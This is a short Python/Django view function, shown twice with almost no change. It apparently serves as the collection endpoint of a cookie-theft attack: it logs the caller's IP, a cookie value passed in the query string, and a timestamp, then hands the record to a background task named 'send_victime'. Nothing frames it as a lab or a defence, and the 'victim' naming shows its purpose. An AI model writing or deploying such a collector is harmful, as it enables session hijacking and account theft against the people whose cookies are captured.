def get_client(request): client = Client() client.ip = request.META.get('REMOTE_ADDR') client.cookie = request.GET.get('cookie', 'None') client.date = datetime.now() send_victime.delay(client) return HttpResponse('ok')
def get_client(request): client = Client() client.ip = request.META.get('REMOTE_ADDR') client.cookie = request.GET.get('cookie','None') client.date = datetime.now() send_victime.delay(client) return HttpResponse('ok')